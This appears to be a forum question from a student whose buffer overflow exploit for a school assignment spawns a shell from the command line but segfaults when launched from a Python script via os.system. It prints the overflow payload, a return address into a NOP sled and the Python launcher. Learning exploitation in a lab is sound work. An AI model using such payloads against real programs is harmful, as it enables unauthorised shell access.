I am developing a script to perform an a buffer overflow for an assignment in school. However, I am stuck at a point where my payload works injected through the commandline, but not injected through my python script.
When I inject my payload from the commandline:
user@ubuntu:~/Documents/$ /home/user/Documents/easy $(python -c 'print"AAAAAAAAAAAAAA"\xa0\xf4\xff\xbf"')
$ exit //I get the shell....
The return address
\xa0\xf4\xff\xbf
Is the address of my NOP sled in an environment variable.
Now, I run the complete same command through my python script:
path = "/home/dvddaver/Documents/easy AAAAAAAAAAAAAA\xa0\xf4\xff\xbf"
os.system(path);
However, when I run my python script, I get a segmentation fault:
user@ubuntu:~/Documents$ python bruteforcer.py
Segmentation fault (core dumped)